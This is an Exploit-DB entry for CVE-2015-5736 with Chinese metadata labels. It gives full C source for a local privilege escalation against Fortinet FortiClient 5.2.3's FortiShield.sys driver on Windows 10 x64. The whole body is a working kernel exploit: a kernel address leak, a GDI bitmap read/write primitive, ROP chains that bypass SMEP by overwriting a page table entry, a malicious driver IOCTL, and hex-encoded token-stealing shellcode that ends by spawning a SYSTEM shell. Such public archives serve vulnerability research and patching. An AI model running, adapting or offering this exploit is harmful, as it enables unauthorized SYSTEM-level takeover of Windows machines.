标题: Fortinet FortiClient 5.2.3 (Windows 10 x64 Post-Anniversary) - Local Privilege Escalation EDB-ID: 41722 CVE: 2015-5736 类型: LOCAL 平台: WINDOWS_X86-64 发布日期: 2017-03-25 漏洞利用脚本: /*
Check these out: 
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
Tested on: 
- Windows 10 Pro x64 (Post-Anniversary)
- ntoskrnl.exe: 10.0.14393.953
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D 
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

#pragma comment (lib,"psapi")
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "User32.lib")

#define object_number 0x02
#define accel_array_size 0x2b6
#define STATUS_SUCCESS 0x00000000

typedef void** PPVOID;

typedef struct _tagSERVERINFO {
 UINT64 pad;
 UINT64 cbHandleEntries;
} SERVERINFO, *PSERVERINFO;

typedef struct _HANDLEENTRY {
 PVOID pHeader; // Pointer to the Object
 PVOID pOwner; // PTI or PPI
 UCHAR bType; // Object handle type
 UCHAR bFlags; // Flags
 USHORT wUniq; // Access count
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SHAREDINFO {
 PSERVERINFO psi;
 PHANDLEENTRY aheList;
} SHAREDINFO, *PSHAREDINFO;

ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) {
 ULONGLONG result = address >> 9;
 result = result | pte_start;
 result = result & (pte_start + 0x0000007ffffffff8);
 return result;
}

HMODULE ntdll;
HMODULE user32dll;

struct bitmap_structure {
 HBITMAP manager_bitmap;
 HBITMAP worker_bitmap;
};

struct bitmap_structure create_bitmaps(HACCEL hAccel[object_number]) {
 struct bitmap_structure bitmaps;
 char *manager_bitmap_memory;
 char *worker_bitmap_memory;
 HBITMAP manager_bitmap;
 HBITMAP worker_bitmap;
 int nWidth = 0x703;
 int nHeight = 2;
 unsigned int cPlanes = 1;
 unsigned int cBitsPerPel = 8;
 const void *manager_lpvBits;
 const void *worker_lpvBits;

 manager_bitmap_memory = malloc(nWidth * nHeight);
 memset(manager_bitmap_memory, 0x00, sizeof(manager_bitmap_memory));
 manager_lpvBits = manager_bitmap_memory;

 worker_bitmap_memory = malloc(nWidth * nHeight);
 memset(worker_bitmap_memory, 0x00, sizeof(worker_bitmap_memory));
 worker_lpvBits = worker_bitmap_memory;

 BOOL destroy_table;
 destroy_table = DestroyAcceleratorTable(hAccel[0]);
 if (destroy_table == 0) {
  printf("[!] Failed to delete accelerator table[0]: %d\n", GetLastError());
  exit(1);
 }

 manager_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, manager_lpvBits);
 if (manager_bitmap == NULL) {
  printf("[!] Failed to create BitMap object: %d\n", GetLastError());
  exit(1);
 }
 printf("[+] Manager BitMap HANDLE: %I64x\n", (ULONGLONG)manager_bitmap);

 destroy_table = DestroyAcceleratorTable(hAccel[1]);
 if (destroy_table == 0) {
  printf("[!] Failed to delete accelerator table[1]: %d\n", GetLastError());
  exit(1);
 }
 worker_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, worker_lpvBits);
 if (worker_bitmap == NULL) {
  printf("[!] Failed to create BitMap object: %d\n", GetLastError());
  exit(1);
 }
 printf("[+] Worker BitMap HANDLE: %I64x\n", (ULONGLONG)worker_bitmap);

 bitmaps.manager_bitmap = manager_bitmap;
 bitmaps.worker_bitmap = worker_bitmap;
 return bitmaps;
}

PHANDLEENTRY leak_table_kernel_address(HMODULE user32dll, HACCEL hAccel[object_number], PHANDLEENTRY handle_entry[object_number]) {
 int i;
 PSHAREDINFO gSharedInfo;
 ULONGLONG aheList;
 DWORD handle_entry_size = 0x18;

 gSharedInfo = (PSHAREDINFO)GetProcAddress(user32dll, (LPCSTR)"gSharedInfo");
 if (gSharedInfo == NULL) {
  printf("[!] Error while retrieving gSharedInfo: %d.\n", GetLastError());
  return NULL;
 }
 aheList = (ULONGLONG)gSharedInfo->aheList;
 printf("[+] USER32!gSharedInfo located at: %I64x\n", (ULONGLONG)gSharedInfo);
 printf("[+] USER32!gSharedInfo->aheList located at: %I64x\n", (ULONGLONG)aheList);
 for (i = 0; i < object_number; i++) {
  handle_entry[i] = (PHANDLEENTRY)(aheList + ((ULONGLONG)hAccel[i] & 0xffff) * handle_entry_size);
 }
 return *handle_entry;
}

ULONGLONG write_bitmap(HBITMAP bitmap_handle, ULONGLONG to_write) {
 ULONGLONG write_operation;
 write_operation = SetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_write);
 if (write_operation == 0) {
  printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
  exit(1);
 }
 return 0;
}

ULONGLONG read_bitmap(HBITMAP bitmap_handle) {
 ULONGLONG read_operation;
 ULONGLONG to_read;
 read_operation = GetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_read);
 if (read_operation == 0) {
  printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
  exit(1);
 }
 return to_read;
}

HACCEL create_accelerator_table(HACCEL hAccel[object_number], int table_number) {
 int i;
 table_number = object_number;
 ACCEL accel_array[accel_array_size];
 LPACCEL lpAccel = accel_array;

 printf("[+] Creating %d Accelerator Tables\n", table_number);
 for (i = 0; i < table_number; i++) {
  hAccel[i] = CreateAcceleratorTableA(lpAccel, accel_array_size);
  if (hAccel[i] == NULL) {
   printf("[!] Error while creating the accelerator table: %d.\n", GetLastError());
   exit(1);
  }
 }
 return *hAccel;
}

LPVOID allocate_rop_chain(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG manager_pvScan_offset, ULONGLONG worker_pvScan_offset) {
 HANDLE pid;
 pid = GetCurrentProcess();
 ULONGLONG rop_chain_address = 0x000000008aff07da;
 LPVOID allocate_rop_chain;
 allocate_rop_chain = VirtualAlloc((LPVOID*)rop_chain_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 if (allocate_rop_chain == NULL) {
  printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
  exit(1);
 }

 /* <Null callback> */
 ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret
 ULONGLONG rop_02 = fortishield_callback;
 ULONGLONG rop_03 = 0x0000000000000000;     // NULL the callback
 ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret 
 /* </Null callback> */

 /* <Overwrite pvScan0> */
 ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret
 ULONGLONG rop_06 = (ULONGLONG)manager_pvScan_offset; // Manager BitMap pvScan0 offset
 ULONGLONG rop_07 = (ULONGLONG)worker_pvScan_offset;  // Worker BitMap pvScan0 offset
 ULONGLONG rop_08 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret 
 /* </Overwrite pvScan0> */

 /* <Prepare RBX (to write the orignial stack pointer to> */
 ULONGLONG rop_09 = (ULONGLONG)kernel_base + 0x62c0c3; // pop rbx ; ret
 ULONGLONG rop_10 = 0x000000008b0000e0;
 /* </Prepare RBX (to write the orignial stack pointer to> */

 /* <Get RSI value (points to the original stack) into RAX> */
 ULONGLONG rop_11 = (ULONGLONG)kernel_base + 0x6292eb; // pop rax ; ret
 ULONGLONG rop_12 = (ULONGLONG)kernel_base + 0x556dc9; // mov rax, rcx ; add rsp, 0x28 ; ret
 ULONGLONG rop_13 = (ULONGLONG)kernel_base + 0x4115ca; // mov rcx, rsi ; call rax
 ULONGLONG rop_14 = 0x4141414141414141;     // JUNK
 ULONGLONG rop_15 = 0x4141414141414141;     // JUNK
 ULONGLONG rop_16 = 0x4141414141414141;     // JUNK
 ULONGLONG rop_17 = 0x4141414141414141;     // JUNK
 /* </Get RSI value (points to the original stack) into RAX> */

 /* <Adjust RAX to point to the return address pushed by the call> */
 ULONGLONG rop_18 = (ULONGLONG)kernel_base + 0x61260f; // pop rcx ; ret
 ULONGLONG rop_19 = 0x0000000000000028;     // Get the return address
 ULONGLONG rop_20 = (ULONGLONG)kernel_base + 0xd8c12; // sub rax, rcx ; ret
 /* </Adjust RAX to point to the return address pushed by the call> */

 /* <Overwrite the return from the call with fortishield_restore> */
 ULONGLONG rop_21 = (ULONGLONG)kernel_base + 0x61260f; // pop rcx ; ret
 ULONGLONG rop_22 = fortishield_restore;
 ULONGLONG rop_23 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret
 /* </Overwrite the return from the call with fortishield_restore> */

 /* <Write the original stack pointer on our usermode_stack> */
 ULONGLONG rop_24 = (ULONGLONG)kernel_base + 0x4cde3e; // mov qword ptr [rbx + 0x10], rax ; add rsp, 0x20 ; pop rbx ; ret
 ULONGLONG rop_25 = 0x4141414141414141;     // JUNK
 ULONGLONG rop_26 = 0x4141414141414141;     // JUNK
 ULONGLONG rop_27 = 0x4141414141414141;     // JUNK
 ULONGLONG rop_28 = 0x4141414141414141;     // JUNK
 ULONGLONG rop_29 = 0x0000000000000000;     // Value to be POP'ed in RBX, needs to be 0x00 at the end for restore
 /* </Write the original stack pointer on our usermode_stack> */

 /* <Restore stack pointer> */
 ULONGLONG rop_30 = (ULONGLONG)kernel_base + 0x62b91b; // pop rsp ; ret
 /* </Restore stack pointer> */

 char *rop_chain;
 DWORD rop_chain_size = 0x12000;
 rop_chain = (char *)malloc(rop_chain_size);
 memset(rop_chain, 0x41, rop_chain_size);
 memcpy(rop_chain + 0xf826, &rop_01, 0x08);
 memcpy(rop_chain + 0xf82e, &rop_02, 0x08);
 memcpy(rop_chain + 0xf836, &rop_03, 0x08);
 memcpy(rop_chain + 0xf83e, &rop_04, 0x08);
 memcpy(rop_chain + 0xf846, &rop_05, 0x08);
 memcpy(rop_chain + 0xf84e, &rop_06, 0x08);
 memcpy(rop_chain + 0xf856, &rop_07, 0x08);
 memcpy(rop_chain + 0xf85e, &rop_08, 0x08);
 memcpy(rop_chain + 0xf866, &rop_09, 0x08);
 memcpy(rop_chain + 0xf86e, &rop_10, 0x08);
 memcpy(rop_chain + 0xf876, &rop_11, 0x08);
 memcpy(rop_chain + 0xf87e, &rop_12, 0x08);
 memcpy(rop_chain + 0xf886, &rop_13, 0x08);
 memcpy(rop_chain + 0xf88e, &rop_14, 0x08);
 memcpy(rop_chain + 0xf896, &rop_15, 0x08);
 memcpy(rop_chain + 0xf89e, &rop_16, 0x08);
 memcpy(rop_chain + 0xf8a6, &rop_17, 0x08);
 memcpy(rop_chain + 0xf8ae, &rop_18, 0x08);
 memcpy(rop_chain + 0xf8b6, &rop_19, 0x08);
 memcpy(rop_chain + 0xf8be, &rop_20, 0x08);
 memcpy(rop_chain + 0xf8c6, &rop_21, 0x08);
 memcpy(rop_chain + 0xf8ce, &rop_22, 0x08);
 memcpy(rop_chain + 0xf8d6, &rop_23, 0x08);
 memcpy(rop_chain + 0xf8de, &rop_24, 0x08);
 memcpy(rop_chain + 0xf8e6, &rop_25, 0x08);
 memcpy(rop_chain + 0xf8ee, &rop_26, 0x08);
 memcpy(rop_chain + 0xf8f6, &rop_27, 0x08);
 memcpy(rop_chain + 0xf8fe, &rop_28, 0x08);
 memcpy(rop_chain + 0xf906, &rop_29, 0x08);
 memcpy(rop_chain + 0xf90e, &rop_30, 0x08);

 BOOL WPMresult;
 SIZE_T written;
 WPMresult = WriteProcessMemory(pid, (LPVOID)rop_chain_address, rop_chain, rop_chain_size, &written);
 if (WPMresult == 0)
 {
  printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
  exit(1);
 }
 printf("[+] Memory allocated at: %p\n", allocate_rop_chain);
 return allocate_rop_chain;
}

LPVOID allocate_shellcode(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) {
 HANDLE pid;
 pid = GetCurrentProcess();
 ULONGLONG shellcode_address = 0x000000008aff07da;
 LPVOID allocate_shellcode;
 allocate_shellcode = VirtualAlloc((LPVOID*)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 if (allocate_shellcode == NULL) {
  printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
  exit(1);
 }

 /* <Overwrite PTE> */
 ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret
 ULONGLONG rop_02 = (ULONGLONG)pte_result;    // PTE address
 ULONGLONG rop_03 = 0x0000000000000063;     // DIRTY + ACCESSED + R/W + PRESENT
 ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0x130779; // mov byte ptr [rax], cl ; mov rbx, qword ptr [rsp + 8] ; ret
 ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0xc459c; // wbinvd ; ret
 ULONGLONG rop_06 = 0x000000008b00081a;     // shellcode
 ULONGLONG rop_07 = fortishield_callback;
 ULONGLONG rop_08 = fortishield_restore;
 /* </Overwrite PTE> */

 /*
 ;kd> dt -r1 nt!_TEB
 ;   +0x110 SystemReserved1  : [54] Ptr64 Void
 ;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
 kd> u nt!PsGetCurrentProcess
 nt!PsGetCurrentProcess:
 mov rax,qword ptr gs:[188h]
 mov rax,qword ptr [rax+0B8h]

 - Token stealing rop_chain & restore:

 start:
 mov rdx, [gs:0x188]
 mov r8, [rdx+0x0b8]
 mov r9, [r8+0x2f0]
 mov rcx, [r9]
 find_system_proc:
 mov rdx, [rcx-0x8]
 cmp rdx, 4
 jz found_it
 mov rcx, [rcx]
 cmp rcx, r9
 jnz find_system_proc
 found_it:
 mov rax, [rcx+0x68]
 and al, 0x0f0
 mov [r8+0x358], rax
 restore:
 mov rbp, qword ptr [rsp+0x80]
 xor rbx, rbx
 mov [rbp], rbx
 mov rbp, qword ptr [rsp+0x88]
 mov rax, rsi
 mov rsp, rax
 sub rsp, 0x20
 jmp rbp
 */

 char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
  "\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
  "\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
  "\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
  "\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
  "\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
  "\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";

 char *shellcode;
 DWORD shellcode_size = 0x12000;
 shellcode = (char *)malloc(shellcode_size);
 memset(shellcode, 0x41, shellcode_size);
 memcpy(shellcode + 0xf826, &rop_01, 0x08);
 memcpy(shellcode + 0xf82e, &rop_02, 0x08);
 memcpy(shellcode + 0xf836, &rop_03, 0x08);
 memcpy(shellcode + 0xf83e, &rop_04, 0x08);
 memcpy(shellcode + 0xf846, &rop_05, 0x08);
 memcpy(shellcode + 0xf84e, &rop_06, 0x08);
 memcpy(shellcode + 0xf8d6, &rop_07, 0x08);
 memcpy(shellcode + 0xf8de, &rop_08, 0x08);
 memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));

 BOOL WPMresult;
 SIZE_T written;
 WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written);
 if (WPMresult == 0)
 {
  printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
  exit(1);
 }
 printf("[+] Memory allocated at: %p\n", allocate_shellcode);
 return allocate_shellcode;
}

LPVOID GetBaseAddr(char *drvname) {
 LPVOID drivers[1024];
 DWORD cbNeeded;
 int nDrivers, i = 0;

 if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
  char szDrivers[1024];
  nDrivers = cbNeeded / sizeof(drivers[0]);
  for (i = 0; i < nDrivers; i++) {
   if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
    //printf("%s (%p)\n", szDrivers, drivers[i]);
    if (strcmp(szDrivers, drvname) == 0) {
     //printf("%s (%p)\n", szDrivers, drivers[i]);
     return drivers[i];
    }
   }
  }
 }
 return 0;
}

DWORD trigger_callback() {

 /* This file needs to be on the local HDD to work. */
 printf("[+] Creating dummy file\n");
 system("echo test > test.txt");

 printf("[+] Calling MoveFileEx()\n");
 BOOL MFEresult;
 MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
 if (MFEresult == 0)
 {
  printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
  return 1;
 }
 return 0;
}

int main() {
 ntdll = LoadLibrary((LPCSTR)"ntdll");
 if (ntdll == NULL) {
  printf("[!] Error while loading ntdll: %d\n", GetLastError());
  return 1;
 }

 user32dll = LoadLibrary((LPCSTR)"user32");
 if (user32dll == NULL) {
  printf("[!] Error while loading user32: %d.\n", GetLastError());
  return 1;
 }

 HACCEL hAccel[object_number];
 create_accelerator_table(hAccel, object_number);

 PHANDLEENTRY handle_entry[object_number];
 leak_table_kernel_address(user32dll, hAccel, handle_entry);

 printf(
  "[+] Accelerator Table[0] HANDLE: %I64x\n"
  "[+] Accelerator Table[0] HANDLE: %I64x\n"
  "[+] Accelerator Table[0] kernel address: %I64x\n"
  "[+] Accelerator Table[0] kernel address: %I64x\n",
  (ULONGLONG)hAccel[0],
  (ULONGLONG)hAccel[1],
  (ULONGLONG)handle_entry[0]->pHeader,
  (ULONGLONG)handle_entry[1]->pHeader
 );

 ULONGLONG manager_pvScan_offset;
 ULONGLONG worker_pvScan_offset;
 manager_pvScan_offset = (ULONGLONG)handle_entry[0]->pHeader + 0x18 + 0x38;
 worker_pvScan_offset = (ULONGLONG)handle_entry[1]->pHeader + 0x18 + 0x38;

 printf("[+] Replacing Accelerator Tables with BitMap objects\n");
 struct bitmap_structure bitmaps;
 bitmaps = create_bitmaps(hAccel);

 printf("[+] Manager BitMap pvScan0 offset: %I64x\n", (ULONGLONG)manager_pvScan_offset);
 printf("[+] Worker BitMap pvScan0 offset: %I64x\n", (ULONGLONG)worker_pvScan_offset);

 HANDLE forti;
 forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
 if (forti == INVALID_HANDLE_VALUE) {
  printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
  return 1;
 }

 LPVOID kernel_base = GetBaseAddr("ntoskrnl.exe");
 LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
 ULONGLONG kernel_pivot = (ULONGLONG)kernel_base + 0x4efae5;
 ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
 ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
 printf("[+] Kernel found at: %llx\n", (ULONGLONG)kernel_base);
 printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);

 DWORD IoControlCode = 0x220028;
 ULONGLONG InputBuffer = kernel_pivot;
 DWORD InputBufferLength = 0x8;
 ULONGLONG OutputBuffer = 0x0;
 DWORD OutputBufferLength = 0x0;
 DWORD lpBytesReturned;

 LPVOID rop_chain_allocation;
 rop_chain_allocation = allocate_rop_chain(kernel_base, fortishield_callback, fortishield_restore, manager_pvScan_offset, worker_pvScan_offset);

 HANDLE hThread;
 LPDWORD hThread_id = 0;
 hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
 if (hThread == NULL)
 {
  printf("[!] Error while calling CreateThread: %d\n", GetLastError());
  return 1;
 }

 BOOL hThread_priority;
 hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
 if (hThread_priority == 0)
 {
  printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
  return 1;
 }

 
 printf("[+] Press ENTER to trigger the vulnerability.\n");
 getchar();
 

 BOOL triggerIOCTL;
 ResumeThread(hThread);
 triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
 WaitForSingleObject(hThread, INFINITE);

 /* <Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */
 ULONGLONG manager_write_pte_offset = (ULONGLONG)kernel_base + 0x47314 + 0x13;

 printf("[+] Writing nt!MiGetPteAddress + 0x13 to Worker pvScan0.\n");
 getchar();
 write_bitmap(bitmaps.manager_bitmap, manager_write_pte_offset);

 printf("[+] Reading from Worker pvScan0.\n");
 getchar();
 ULONGLONG pte_start = read_bitmap(bitmaps.worker_bitmap);
 printf("[+] PTE virtual base address: %I64x\n", pte_start);

 ULONGLONG pte_result;
 ULONGLONG pte_value = 0x8b000000;
 pte_result = get_pxe_address_64(pte_value, pte_start);
 printf("[+] PTE virtual address for 0x8b000000: %I64x\n", pte_result);
 /* </Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */

 BOOL VFresult;
 VFresult = VirtualFree(rop_chain_allocation, 0x0, MEM_RELEASE);
 if (VFresult == 0)
 {
  printf("[!] Error while calling VirtualFree: %d\n", GetLastError());
  return 1;
 }

 LPVOID shellcode_allocation;
 shellcode_allocation = allocate_shellcode(kernel_base, fortishield_callback, fortishield_restore, pte_result);

 hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
 if (hThread == NULL)
 {
  printf("[!] Error while calling CreateThread: %d\n", GetLastError());
  return 1;
 }

 hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
 if (hThread_priority == 0)
 {
  printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
  return 1;
 }

 printf("[+] Press ENTER to trigger the vulnerability again.\n");
 getchar();

 ResumeThread(hThread);
 triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
 WaitForSingleObject(hThread, INFINITE);
 
 printf("\n");
 system("start cmd.exe");
 DeleteObject(bitmaps.manager_bitmap);
 DeleteObject(bitmaps.worker_bitmap);

 return 0;
} URL: https://www.exploit-db.com/exploits/41722